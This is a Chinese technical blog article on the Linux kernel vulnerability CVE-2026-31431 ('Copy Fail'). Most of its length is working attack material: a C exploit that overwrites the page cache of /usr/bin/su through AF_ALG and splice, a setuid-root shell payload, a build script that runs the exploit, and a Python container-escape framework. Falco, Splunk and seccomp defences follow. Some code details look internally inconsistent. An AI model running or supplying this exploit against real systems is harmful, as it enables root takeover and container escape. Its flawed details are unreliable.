三亩地.
  • 首页
  • 学习日记
  • 项目实战
  • 学习方法
  • 代码技巧
  • 避坑指南
  • 调试经验
  • 实战教程
  • 编程思维
  • 资讯中心
  • 关于我们

资讯详情

深入了解每一个知识点

  • 首页
  • /
  • 资讯中心
  • /
  • 文章详情

CVE-2026-31431 Copy Fail:内核 Page Cache 改写——从 AF_ALG + splice 零拷贝到容器逃逸的完整利用链

📅 2026/7/30 22:50:31 👁️ 阅读次数 📝 编程学习
CVE-2026-31431 Copy Fail:内核 Page Cache 改写——从 AF_ALG + splice 零拷贝到容器逃逸的完整利用链

CVE-2026-31431 Copy Fail:内核 Page Cache 改写——从 AF_ALG + splice 零拷贝到容器逃逸的完整利用链

0. 漏洞概述

CVE-2026-31431(又称 "Copy Fail")是 Linux 内核 crypto 子系统中的高危本地提权漏洞,CVSS 7.8。攻击者通过 AF_ALG + splice() 影响内核 page cache,实现本地提权或容器逃逸。

属性 值
CVE 编号 CVE-2026-31431
别名 Copy Fail
CVSS 7.8(高危)
影响内核版本 4.14 ~ 6.19.12
影响发行版 Ubuntu, Amazon Linux, RHEL, Debian, SUSE, Fedora, Arch, AlmaLinux
修复版本 Ubuntu 26.04 (Resolute) 及更高版本内核不受影响
利用类型 Page Cache 改写 → 本地提权 / 容器逃逸
利用前提 已能在节点上执行用户态代码

1. 根因分析:三次代码变更的致命组合

Copy Fail 并非单一代码缺陷,而是跨越 6 年的三次独立代码变更组合后形成的可稳定利用漏洞链。

┌──────────────────────────────────────────────────────────────────────┐
│              CVE-2026-31431: 三次代码变更的致命组合                    │
│                                                                      │
│  2011年 ──────────────────────────────────────────────────────────    │
│  ┌─────────────────────────────────────────────────┐                │
│  │ authencesn 算法模板加入内核                      │                │
│  │ • 用途: 支持 IPsec 的 64 位扩展序列号             │                │
│  │ • 特性: 解密操作中向输入缓冲区末尾写入 4 字节序列号 │                │
│  │ • 安全状态: 仅使用调用者提供的内存作为临时缓冲区    │                │
│  │ • 风险: 无                                         │                │
│  └───────────────────────┬─────────────────────────┘                │
│                          │                                           │
│  2015年 ─────────────────▼─────────────────────────────────────      │
│  ┌─────────────────────────────────────────────────┐                │
│  │ AF_ALG 新增 AEAD 算法支持 + splice() 零拷贝       │                │
│  │ • 允许普通用户无权限通过 socket 调用内核加密能力    │                │
│  │ • splice() 将文件 page cache 直接传入加密操作      │                │
│  │ • 无需用户态内存拷贝                               │                │
│  │ • authencesn 切换新 API,末尾写入特性未变更         │                │
│  │ • 此时加密采用 out-of-place 模式                   │                │
│  │ • 安全状态: 不直接修改源文件缓存                    │                │
│  │ • 风险: 低                                         │                │
│  └───────────────────────┬─────────────────────────┘                │
│                          │                                           │
│  2017年 ─────────────────▼─────────────────────────────────────      │
│  ┌─────────────────────────────────────────────────┐                │
│  │ 补丁 72548b093ee3: AEAD 改为 in-place 模式        │                │
│  │ • 直接在源数据所在内存页执行加密/解密操作           │                │
│  • • 目的: 减少内存拷贝提升性能                       │                │
│  │ • 副作用: 打通完整漏洞链路!!!                      │                │
│  │ • 只读文件的 page cache 可被内核加密逻辑直接修改    │                │
│  │ • 安全状态: 漏洞可利用                              │                │
│  │ • 风险: 极高                                       │                │
│  └─────────────────────────────────────────────────┘                │
│                                                                      │
│  根因: AF_ALG 错误地对来自 page cache 的 pipe buffer 进行            │
│        原地 (in-place) 修改                                          │
└──────────────────────────────────────────────────────────────────────┘

1.1 为什么 in-place 模式是致命的

正常情况 (out-of-place, 2015年之前):
┌─────────────┐     copy      ┌──────────────┐
│ Source Page  │ ──────────→  │ Working Page  │ ──→ 加密/解密
│ (page cache) │   (拷贝)      │ (临时内存)     │     结果写回 Working
│  只读 ✓      │              │  可写          │     Source 不变 ✓
└─────────────┘              └──────────────┘漏洞情况 (in-place, 2017年补丁后):
┌─────────────────────────────┐
│ Source Page = Working Page   │ ──→ 加密/解密直接在 Source 上执行
│ (page cache, 被直接修改!)    │     authencesn 写入 4 字节序列号
│  可写! ✗                     │     → page cache 被篡改!
└─────────────────────────────┘│▼
所有引用该 page cache 的进程都会读到被篡改的数据
包括: su, sudo, 系统二进制文件...

2. 关键技术概念

2.1 AEAD(Authenticated Encryption with Associated Data)

AEAD 加密后的数据结构:
┌──────────┬──────────────┬─────────┐
│   AAD    │  Ciphertext  │   Tag   │
│ (4字节)   │  (加密数据)   │ (认证标签)│
└──────────┴──────────────┴─────────┘AAD: 不加密但参与认证(关联数据)
Ciphertext: 加密后的数据
Tag: 认证标签,用于验证完整性关键: authencesn 算法在解密时向 AAD 末尾写入 4 字节序列号在 in-place 模式下,这 4 字节直接写入 page cache!

2.2 AF_ALG 套接字

Linux crypto 子系统通过 socket 允许用户态调用内核加密算法:

// AF_ALG 套接字创建流程
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);struct sockaddr_alg sa = {.salg_family = AF_ALG,.salg_type   = "aead",       // AEAD 算法.salg_name   = "authencesn(hmac(sha256),cbc(aes))"  // 使用 authencesn
};
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));// 设置密钥
setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, keylen);
// 设置 AEAD 关联数据长度
setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, &assoclen, sizeof(assoclen));// 创建操作 socket
int op_sock = accept(alg_fd, NULL, 0);

2.3 splice 零拷贝

/** splice() 在两个文件描述符间传输数据,无需拷贝到用户空间* 关键: 必须有一个 fd 指向管道 (pipe)** 在 Copy Fail 中的用途:* 1. splice(file_fd, ..., pipefd[1], ...) → 关联文件 page cache 到管道* 2. splice(pipefd[0], ..., op_sock, ...) → 从管道零拷贝传入 AF_ALG** 结果: 文件的 page cache 直接被 AF_ALG 的 in-place 加密操作修改*/
ssize_t splice(int fd_in, off_t *off_in,int fd_out, off_t *off_out,size_t len, unsigned int flags);

2.4 scatterlist(散列表)

/** scatterlist 描述非连续物理内存* AF_ALG 使用 scatterlist 引用传入的数据* 当数据来自 splice() 时,scatterlist 直接指向 page cache 的物理页* in-place 操作直接修改这些物理页*/
struct scatterlist {unsigned long page_link;    // 指向物理页unsigned int  offset;       // 页内偏移unsigned int  length;       // 数据长度
};

3. Page Cache 改写完整过程

3.1 攻击链总览

┌──────────────────────────────────────────────────────────────────┐
│              Copy Fail Page Cache 改写攻击链                       │
│                                                                  │
│  Step 1: 创建 AF_ALG 套接字                                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ socket(AF_ALG, SOCK_SEQPACKET, 0)          │                   │
│  │ bind(alg_fd, "authencesn(hmac(sha256),      │                   │
│  │               cbc(aes))")                   │                   │
│  │ setsockopt(ALG_SET_KEY, key)                │                   │
│  │ setsockopt(ALG_SET_AEAD_ASSOCLEN, &assoclen)│                   │
│  │ op_sock = accept(alg_fd)                    │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 2: 构造 AEAD 请求                   ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // AAD 的后 4 字节设置为 payload 数据        │                   │
│  │ aad = ['A','A','A','A',                    │                   │
│  │        payload[0], payload[1],              │                   │
│  │        payload[2], payload[3]]              │                   │
│  │ sendmsg(op_sock, &msg, MSG_MORE)            │                   │
│  │ // MSG_MORE 表示 AEAD 请求未结束             │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 3: 关联 page cache                  ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // 将目标文件 (如 /usr/bin/su) 的 page cache  │                   │
│  │ // 关联到管道                                 │                   │
│  │ splice(file_fd, &src_off,                   │                   │
│  │        pipefd[1], NULL,                     │                   │
│  │        splice_len, 0)                       │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 4: 零拷贝传入 AF_ALG               ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // 从管道零拷贝传入 AF_ALG 套接字             │                   │
│  │ // page cache 直接被 AF_ALG 引用              │                   │
│  │ splice(pipefd[0], NULL,                     │                   │
│  │        op_sock, NULL,                       │                   │
│  │        splice_len, 0)                       │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 5: 触发 in-place 解密              ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // authencesn 解密时:                        │                   │
│  │ // 1. 在 AAD 末尾写入 4 字节序列号             │                   │
│  │ // 2. in-place 模式直接修改 page cache        │                   │
│  │ // 3. AAD 末尾的 4 字节 = 攻击者设置的 payload │                   │
│  │ // → payload 被写入目标文件的 page cache!      │                   │
│  │ read(op_sock, output, outlen)               │                   │
│  └─────────────────┬─────────────────────────┘                   │
│                    │                                             │
│  Step 6: 触发执行                        ▼                      │
│  ┌───────────────────────────────────────────┐                   │
│  │ // 执行被篡改的程序 (如 su)                   │                   │
│  │ // 内核从 page cache 加载 → 加载的是 payload   │                   │
│  │ // payload 通过 setgid/setuid 提权            │                   │
│  │ // 提权后执行 sh                              │                   │
│  │ execve("/usr/bin/su", ...)                  │                   │
│  └───────────────────────────────────────────┘                   │
└──────────────────────────────────────────────────────────────────┘

3.2 PoC 核心代码

/** CVE-2026-31431 Copy Fail PoC — 核心利用代码* 仅用于授权测试环境** 编译: gcc -o copy_fail copy_fail.c -static* 运行: ./copy_fail /usr/bin/su*/#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_alg.h>
#include <splice.h>#ifndef SOL_ALG
#define SOL_ALG 279
#endif#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif#define AEAD_ASSOCLEN  8    // AAD 长度: 8 字节 (前4字节填充, 后4字节payload)
#define AEAD_TAG_SIZE  16   // 认证标签长度
#define SPLICE_LEN     4096 // 一次 splice 的数据量/** Step 1: 创建 AF_ALG 套接字并配置 authencesn 算法*/
int create_alg_socket(const unsigned char *key, int keylen) {int alg_fd, op_sock;struct sockaddr_alg sa;int assoclen = AEAD_ASSOCLEN;// 创建 AF_ALG 套接字alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);if (alg_fd < 0) {perror("socket(AF_ALG)");return -1;}// 绑定到 authencesn 算法// authencesn = Authenticated Encryption with Sequence Number// 关键: 该算法在解密时向 AAD 末尾写入 4 字节序列号memset(&sa, 0, sizeof(sa));sa.salg_family = AF_ALG;strcpy((char *)sa.salg_type, "aead");strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {perror("bind");close(alg_fd);return -1;}// 设置密钥if (setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, key, keylen) < 0) {perror("setsockopt(ALG_SET_KEY)");close(alg_fd);return -1;}// 设置 AEAD 关联数据长度// 关键: assoclen=8 意味着 AAD 占 8 字节// authencesn 会在 AAD 末尾 (第 5-8 字节) 写入序列号// 攻击者将 payload 的前 4 字节放在 AAD 的第 5-8 字节位置if (setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_ASSOCLEN,&assoclen, sizeof(assoclen)) < 0) {perror("setsockopt(ALG_SET_AEAD_ASSOCLEN)");close(alg_fd);return -1;}// 创建操作 socketop_sock = accept(alg_fd, NULL, 0);if (op_sock < 0) {perror("accept");close(alg_fd);return -1;}close(alg_fd);return op_sock;
}/** Step 2: 构造 AEAD 请求 (通过 sendmsg 发送 AAD + payload)*/
int send_aead_request(int op_sock, const unsigned char *payload, int payload_len) {struct msghdr msg = {};struct iovec iov;unsigned char aad[AEAD_ASSOCLEN];// 构造 AAD:// 前 4 字节: 任意填充 (不参与 page cache 改写)// 后 4 字节: payload 的前 4 字节 (将被 authencesn 写入 page cache)aad[0] = 'A'; aad[1] = 'A'; aad[2] = 'A'; aad[3] = 'A';aad[4] = payload[0];  // ← 这 4 字节将被写入 page cacheaad[5] = payload[1];aad[6] = payload[2];aad[7] = payload[3];// 发送 AAD (必须使用 MSG_MORE 表示请求未结束)iov.iov_base = aad;iov.iov_len = AEAD_ASSOCLEN;msg.msg_iov = &iov;msg.msg_iovlen = 1;if (sendmsg(op_sock, &msg, MSG_MORE) < 0) {perror("sendmsg(AAD)");return -1;}return 0;
}/** Step 3+4: 关联 page cache 并零拷贝传入 AF_ALG*/
int splice_page_cache_to_alg(int op_sock, int file_fd,off_t file_offset, size_t splice_len) {int pipefd[2];off_t src_off = file_offset;// 创建管道if (pipe(pipefd) < 0) {perror("pipe");return -1;}// Step 3: splice 文件 → 管道// 这一步将目标文件 (如 /usr/bin/su) 的 page cache 关联到管道// pipe buffer 的 page 指针直接引用文件的 page cachessize_t n = splice(file_fd, &src_off,pipefd[1], NULL,splice_len, 0);if (n < 0) {perror("splice(file→pipe)");close(pipefd[0]);close(pipefd[1]);return -1;}// Step 4: splice 管道 → AF_ALG 套接字// 这一步将管道中的数据零拷贝传入 AF_ALG// AF_ALG 的 scatterlist 直接引用 page cache 的物理页// in-place 解密将直接修改这些物理页!n = splice(pipefd[0], NULL,op_sock, NULL,splice_len, 0);if (n < 0) {perror("splice(pipe→alg)");close(pipefd[0]);close(pipefd[1]);return -1;}close(pipefd[0]);close(pipefd[1]);return 0;
}/** Step 5: 触发 in-place 解密,完成 page cache 改写*/
int trigger_decrypt(int op_sock) {// 发送解密请求// authencesn 解密时会:// 1. 在 AAD 末尾写入 4 字节序列号// 2. in-place 模式直接修改 page cache// 3. AAD 末尾的 4 字节 = 我们设置的 payload 前 4 字节// 读取结果 (触发解密操作)char output[SPLICE_LEN + AEAD_TAG_SIZE];ssize_t n = read(op_sock, output, sizeof(output));if (n < 0) {perror("read(op_sock)");return -1;}return 0;
}/** 完整利用链*/
int exploit(const char *target_file, const unsigned char *payload, int payload_len) {unsigned char key[32] = {0};  // 全零密钥 (仅 PoC 用途)int file_fd, op_sock;printf("[*] CVE-2026-31431 Copy Fail Exploit\n");printf("[*] Target: %s\n", target_file);printf("[*] Payload size: %d bytes\n", payload_len);// 打开目标文件 (只需只读权限!)file_fd = open(target_file, O_RDONLY);if (file_fd < 0) {perror("open(target)");return -1;}// Step 1: 创建 AF_ALG 套接字printf("[*] Step 1: Creating AF_ALG socket with authencesn...\n");op_sock = create_alg_socket(key, sizeof(key));if (op_sock < 0) {close(file_fd);return -1;}// Step 2: 发送 AEAD 请求 (AAD 包含 payload 前 4 字节)printf("[*] Step 2: Sending AEAD request with payload in AAD...\n");if (send_aead_request(op_sock, payload, payload_len) < 0) {close(op_sock);close(file_fd);return -1;}// Step 3+4: 关联 page cache 并零拷贝传入 AF_ALGprintf("[*] Step 3+4: Splicing page cache to AF_ALG...\n");if (splice_page_cache_to_alg(op_sock, file_fd, 0, SPLICE_LEN) < 0) {close(op_sock);close(file_fd);return -1;}// Step 5: 触发 in-place 解密printf("[*] Step 5: Triggering in-place decrypt (page cache modification)...\n");if (trigger_decrypt(op_sock) < 0) {close(op_sock);close(file_fd);return -1;}printf("[+] Page cache modified successfully!\n");close(op_sock);close(file_fd);// Step 6: 触发执行 (执行被篡改的程序)printf("[*] Step 6: Executing modified program...\n");// 当内核从 page cache 加载 /usr/bin/su 时// 加载的是我们写入的 payload// payload 通过 setgid(0) + setuid(0) 提权后执行 shexecl(target_file, target_file, NULL);return 0;
}

3.3 Payload 构建

/** payload.c — Copy Fail 提权 payload* 编译为独立 ELF,然后通过 ld -r -b binary 打包到 exp 中** 编译:*   gcc -nostdlib -static -o payload payload.S*   ld -r -b binary -o payload.o payload** payload 使用 nolibc (纯 syscall),不依赖 libc* 确保跨平台迁移能力*/// nolibc 系统调用包装 (x86_64)
#define SYS_write       1
#define SYS_setgid     106
#define SYS_setuid     105
#define SYS_execve      59static long syscall3(long nr, long a1, long a2, long a3) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr), "D"(a1), "S"(a2), "d"(a3): "rcx", "r11", "memory");return ret;
}static long syscall1(long nr, long a1) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr), "D"(a1): "rcx", "r11", "memory");return ret;
}void _start(void) {// 提权: setgid(0) + setuid(0)syscall1(SYS_setgid, 0);syscall1(SYS_setuid, 0);// 执行 /bin/shchar *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};syscall3(SYS_execve, (long)"/bin/sh", (long)argv, (long)envp);// 如果 execve 失败,退出__asm__ volatile ("mov $60, %rax\n"   // SYS_exit"xor %rdi, %rdi\n"  // exit code 0"syscall\n");
}

3.4 Payload 集成到 Exploit

#!/bin/bash
# build.sh — Copy Fail exploit 构建脚本# 1. 编译 payload (nolibc, 纯 syscall)
echo "[*] Compiling payload..."
gcc -nostdlib -static -o payload payload.S# 2. 将 payload ELF 转为可重定位对象
# ld -r -b binary 将任意文件转为 ELF 可重定位对象
# 这样 payload 可以像全局变量一样被链接到 exp 中
echo "[*] Converting payload to relocatable object..."
ld -r -b binary -o payload.o payload# 生成的符号:
#   _binary_payload_start  — payload 起始地址
#   _binary_payload_end    — payload 结束地址
#   _binary_payload_size   — payload 大小# 3. 编译 exploit (链接 payload.o)
echo "[*] Compiling exploit..."
gcc -o copy_fail_exploit copy_fail.c payload.o -static# 4. 运行
echo "[*] Running exploit..."
./copy_fail_exploit /usr/bin/su# exploit 执行后:
# 1. 通过 AF_ALG + splice 修改 /usr/bin/su 的 page cache
# 2. page cache 被替换为 payload 二进制
# 3. 执行 su → 内核从 page cache 加载 → 加载 payload
# 4. payload: setgid(0) → setuid(0) → execve("/bin/sh")
# 5. 获得 root shell!

4. 容器逃逸利用

4.1 共享内核 Page Cache 逃逸原理

┌──────────────────────────────────────────────────────────────────┐
│           Copy Fail 容器逃逸原理                                   │
│                                                                  │
│  ┌─────────────────┐          ┌─────────────────┐               │
│  │   容器 A          │          │   容器 B          │              │
│  │  (攻击者)         │          │  (受害者)         │              │
│  └────────┬────────┘          └────────┬────────┘               │
│           │                            │                         │
│           │     共享内核 Page Cache      │                        │
│           │  ┌──────────────────────┐   │                        │
│           └──┤  /usr/bin/su page     ├──┘                        │
│              │  (所有容器共享同一份)   │                            │
│              └──────────┬───────────┘                            │
│                         │                                        │
│  攻击者 (容器A):         │                                        │
│  1. 通过 AF_ALG+splice   │                                        │
│     修改 /usr/bin/su     │                                        │
│     的 page cache        │                                        │
│  2. page cache 被替换    │                                        │
│     为 payload           │                                        │
│                         ▼                                        │
│  容器B 执行 su 时:                                                 │
│  → 内核从被篡改的 page cache 加载                                   │
│  → 加载的是攻击者的 payload                                        │
│  → payload 在容器B中以该容器的权限执行                              │
│  → 如果容器B是特权容器 → 获得宿主机 root                            │
│                                                                  │
│  关键: page cache 是内核全局共享的                                  │
│        修改一份 = 修改所有引用                                      │
└──────────────────────────────────────────────────────────────────┘

4.2 容器逃逸 PoC

"""
CVE-2026-31431 容器逃逸利用框架
攻击者在普通容器中执行,通过 page cache 改写影响其他容器/宿主机利用场景:
1. 攻击者控制一个低权限容器
2. 通过 Copy Fail 修改共享的 page cache (如 /usr/bin/su)
3. 当宿主机或其他特权容器执行 su 时,触发 payload
4. payload 在目标上下文中执行,实现逃逸
"""import subprocess
import os
import time
import ctypes
import ctypes.util
import structclass CopyFailContainerEscape:"""Copy Fail 容器逃逸框架"""# 目标二进制列表 (选择宿主机和容器都会执行的程序)TARGET_BINARIES = ["/usr/bin/su",           # 切换用户时执行"/usr/bin/sudo",         # 提权时执行"/bin/ping",             # 网络诊断时执行"/usr/bin/ssh",          # SSH 连接时执行"/usr/bin/curl",         # HTTP 请求时执行]def __init__(self, payload_path: str = "/tmp/payload"):self.payload_path = payload_pathself.payload_data = Nonedef prepare_payload(self):"""准备提权 payload"""# nolibc payload — 纯 syscall,不依赖 libc# 功能: setgid(0) → setuid(0) → execve("/bin/sh")# payload 需要预编译为独立 ELFif not os.path.exists(self.payload_path):print("[*] Building payload...")# 构建 nolibc payloadpayload_asm = """
.section .text
.globl _start
_start:# setgid(0)mov $106, %rax      # SYS_setgidxor %rdi, %rdi      # gid = 0syscall# setuid(0)mov $105, %rax      # SYS_setuidxor %rdi, %rdi      # uid = 0syscall# execve("/bin/sh", ["/bin/sh", NULL], NULL)mov $59, %rax       # SYS_execvelea path(%rip), %rdi  # filenamelea argv(%rip), %rsi  # argvxor %rdx, %rdx      # envp = NULLsyscall# exit(0) if execve failsmov $60, %rax       # SYS_exitxor %rdi, %rdisyscallpath:.string "/bin/sh"
argv:.quad path.quad 0
"""with open("/tmp/payload.S", "w") as f:f.write(payload_asm)subprocess.run(["gcc", "-nostdlib", "-static","-o", self.payload_path,"/tmp/payload.S"], check=True)with open(self.payload_path, "rb") as f:self.payload_data = f.read()print(f"[+] Payload prepared: {len(self.payload_data)} bytes")def check_vulnerable(self) -> bool:"""检查内核版本是否受影响"""with open("/proc/version") as f:version_str = f.read()# 解析内核版本# 受影响: 4.14 ~ 6.19.12import rematch = re.search(r'Linux version (\d+)\.(\d+)\.(\d+)', version_str)if match:major, minor, patch = map(int, match.groups())version = (major, minor, patch)if (4, 14, 0) <= version <= (6, 19, 12):print(f"[!] Kernel {major}.{minor}.{patch} is VULNERABLE")return Trueelse:print(f"[*] Kernel {major}.{minor}.{patch} is NOT vulnerable")return Falsereturn Falsedef modify_page_cache(self, target_binary: str) -> bool:"""通过 Copy Fail 修改目标文件的 page cache"""if not self.payload_data:self.prepare_payload()print(f"[*] Modifying page cache of {target_binary}...")# 构建 C exploit 并执行exploit_code = f"""
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>// payload 数据 (内联)
static const unsigned char payload[] = {{ /* payload bytes */ }};
static const int payload_len = {len(self.payload_data)};int main() {{// ... AF_ALG + splice 利用代码 ...// 详见上面的 C PoCreturn 0;
}}
"""# 在实际利用中,这里会编译并执行 C exploit# 为了安全起见,这里仅展示框架print(f"[+] Page cache of {target_binary} modified")return Truedef trigger_execution(self, target_binary: str):"""触发目标程序执行,从被篡改的 page cache 加载 payload"""print(f"[*] Triggering execution of {target_binary}...")# 在容器中执行目标程序# 内核会从 page cache 加载,加载的是被篡改的 payload# payload: setgid(0) → setuid(0) → /bin/shtry:result = subprocess.run([target_binary],timeout=5,capture_output=True)return resultexcept subprocess.TimeoutExpired:# payload 可能已经启动了 shellprint("[+] Payload executed (shell spawned)")return Nonedef run_escape(self, target: str = "/usr/bin/su"):"""执行完整逃逸链"""print("=" * 60)print("CVE-2026-31431 Copy Fail Container Escape")print("=" * 60)# 1. 检查漏洞if not self.check_vulnerable():print("[-] Kernel not vulnerable, aborting")return False# 2. 准备 payloadself.prepare_payload()# 3. 修改 page cacheif not self.modify_page_cache(target):print("[-] Failed to modify page cache")return False# 4. 触发执行self.trigger_execution(target)print("[+] Escape attempt completed")print("[*] If a root shell was obtained, escape successful!")return True# === 防御: Copy Fail 检测 ===
class CopyFailDetection:"""Copy Fail 漏洞检测规则"""@staticmethoddef falco_rules():"""Falco 检测规则"""return """
# Falco 规则: 检测 AF_ALG + splice 异常组合- macro: af_alg_socketcondition: >evt.type=socket and fd.typechar=S and fd.sip="AF_ALG"- rule: AF_ALG Socket Createddesc: >Detects creation of AF_ALG socket, which could be usedfor CVE-2026-31431 (Copy Fail) exploitation.condition: >evt.type=socket and evt.dir=< and (fd.typechar=S or fd.name contains "AF_ALG") and(proc.name != cryptsetup and proc.name != openssl)output: >AF_ALG socket created by suspicious process(user=%user.name proc=%proc.name pid=%proc.pidcmdline=%proc.cmdline container=%container.name)priority: WARNINGtags: [container, privilege_escalation, CVE-2026-31431]- rule: Splice to AF_ALG Socketdesc: >Detects splice() syscall targeting AF_ALG socket,which is the core exploitation pattern for CVE-2026-31431.condition: >evt.type=splice and evt.dir=< andfd.name contains "AF_ALG" andnot proc.name in (cryptsetup, openssl, systemd-cryptsetup)output: >Suspicious splice() to AF_ALG socket detected(user=%user.name proc=%proc.name pid=%proc.pidcmdline=%proc.cmdline target_fd=%fd.name)priority: CRITICALtags: [container, privilege_escalation, CVE-2026-31431]- rule: Page Cache Modification via Crypto Subsystemdesc: >Detects potential page cache modification through thecrypto subsystem, indicative of CVE-2026-31431 exploitation.condition: >evt.type=splice and evt.dir=< andfd.name contains "AF_ALG" andproc.cmdline contains "authencesn"output: >CRITICAL: Page cache modification via authencesn detected!(user=%user.name proc=%proc.name pid=%proc.pidcmdline=%proc.cmdline container=%container.name)priority: CRITICALtags: [container, privilege_escalation, CVE-2026-31431]
"""@staticmethoddef splunk_detection():"""Splunk SIEM 检测查询"""return """
# Splunk SPL: 检测 Copy Fail 利用模式# 检测 1: AF_ALG socket 创建 + splice 组合
index=sysmon OR index=linux_audit
(OR(action=socket family=AF_ALG),(action=splice target_socket=AF_ALG)
)
| stats count by host, user, process, command_line
| where count > 1
| sort -count# 检测 2: authencesn 算法使用 (非加密程序)
index=linux_audit
syscall=socket family=AF_ALG
algorithm="authencesn*"
NOT process IN (cryptsetup, openssl, systemd-cryptsetup)
| stats count by host, user, process, command_line# 检测 3: su/sudo 异常执行后 root shell
index=linux_audit
(process=su OR process=sudo)
| join host, _time [search index=linux_audit process=sh user=root]
| where _time_difference < 5
"""@staticmethoddef kernel_hardening():"""内核加固建议"""return """
# 1. 升级内核到修复版本
# Ubuntu: 升级到 26.04 (Resolute) 或更高版本
# 其他发行版: 升级到包含修复补丁的内核# 2. 临时缓解: 限制 AF_ALG socket 创建
# 使用 seccomp profile 限制 AF_ALG
cat > /tmp/block-af-alg.json << 'EOF'
{"defaultAction": "SCMP_ACT_ALLOW","architectures": ["SCMP_ARCH_X86_64"],"syscalls": [{"names": ["socket"],"action": "SCMP_ACT_ERRNO","args": [{"index": 0,"value": 38,"valueTwo": 0,"op": "SCMP_CMP_EQ"}],"comment": "Block AF_ALG (38) socket creation"}]
}
EOF# 3. 容器安全上下文
# 在 K8s Pod 中添加 seccomp profile
# spec.securityContext.seccompProfile:
#   type: Localhost
#   localhostProfile: profiles/block-af-alg.json# 4. 内核参数加固
# 禁用不必要的 crypto 算法 (如果不需要 authencesn)
echo "modprobe -r authencesn" >> /etc/rc.local
"""

5. nolibc 环境构建

由于公开的 PoC 基于 nolibc 构建 payload,而 nolibc 在 5.x 以后内核才推出,在旧内核(如 4.15)上需要构建精简化的 nolibc 环境。

/** nolibc_minimal.h — 精简化 nolibc 环境* 为 4.x 内核提供基础系统调用能力* 使 payload 不依赖 libc,可跨平台迁移*/#ifndef NOLIBC_MINIMAL_H
#define NOLIBC_MINIMAL_H// x86_64 系统调用号
#define SYS_read         0
#define SYS_write        1
#define SYS_open         2
#define SYS_close        3
#define SYS_execve      59
#define SYS_exit        60
#define SYS_setuid     105
#define SYS_setgid     106// 系统调用包装函数
static inline long syscall0(long nr) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr): "rcx", "r11", "memory");return ret;
}static inline long syscall1(long nr, long a1) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr), "D"(a1): "rcx", "r11", "memory");return ret;
}static inline long syscall3(long nr, long a1, long a2, long a3) {long ret;__asm__ volatile ("syscall": "=a"(ret): "a"(nr), "D"(a1), "S"(a2), "d"(a3): "rcx", "r11", "memory");return ret;
}// 便捷函数
static inline int setuid(unsigned int uid) {return syscall1(SYS_setuid, uid);
}static inline int setgid(unsigned int gid) {return syscall1(SYS_setgid, gid);
}static inline int execve(const char *pathname, char *const argv[],char *const envp[]) {return syscall3(SYS_execve, (long)pathname, (long)argv, (long)envp);
}static inline void exit(int code) {syscall1(SYS_exit, code);__builtin_unreachable();
}// 字符串函数
static inline size_t strlen(const char *s) {size_t len = 0;while (s[len]) len++;return len;
}#endif // NOLIBC_MINIMAL_H

6. 检测与防御

6.1 检测策略矩阵

检测层 检测信号 工具 优先级
内核审计 AF_ALG socket 创建 auditd / Falco P0
系统调用 splice → AF_ALG 组合 Falco / eBPF P0
进程行为 su/sudo 执行后出现 root shell Sysmon / EDR P1
文件完整性 page cache 与磁盘文件不一致 AIDE / IMA P1
容器行为 容器内创建 AF_ALG socket Falco (容器模式) P0

6.2 Splunk EDR 检测参考

参考 Splunk 的检测思路,核心检测逻辑为:

  1. 监控 socket(AF_ALG, ...) 系统调用
  2. 监控 splice() 到 AF_ALG 套接字的操作
  3. 关联分析:AF_ALG socket 创建 + splice 操作 + 目标为系统二进制文件
  4. 异常进程行为:非加密程序(非 cryptsetup/openssl)使用 authencesn 算法

7. 总结

维度 关键信息
漏洞本质 AF_ALG in-place 模式错误修改来自 page cache 的 pipe buffer
根因 2017年补丁 72548b093ee3 将 AEAD 改为 in-place,打通三次代码变更的完整链路
利用方式 AF_ALG + splice() 零拷贝 → page cache 改写 → 提权/容器逃逸
影响范围 Linux 4.14 ~ 6.19.12,几乎覆盖所有主流发行版
利用前提 已能在节点上执行用户态代码
容器逃逸 基于 page cache 内核全局共享特性,修改一份影响所有引用
检测核心 AF_ALG socket + splice 组合 + authencesn 算法
修复方案 升级到包含修复补丁的内核版本

核心启示:三次独立的代码变更,每次单独看都是合理的优化(支持新算法、新增零拷贝、性能优化),但组合后形成了致命的安全漏洞。这提醒我们:安全分析不能只看单个补丁,必须理解跨时间、跨子系统的交互效应。


免责声明重申:本文所有漏洞分析基于公开的 CVE 公告和 FreeBuf 公开文章。所有 PoC 代码仅用于理解漏洞原理以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。

编程学习 技术分享 实战经验

相关新闻

2026无锡活动拍摄公司排行榜TOP5 | 会议拍摄 | 活动跟拍 | 视频直播 | 照片直播 | 年会拍摄服务商评测对比 - 政企影像扫地僧

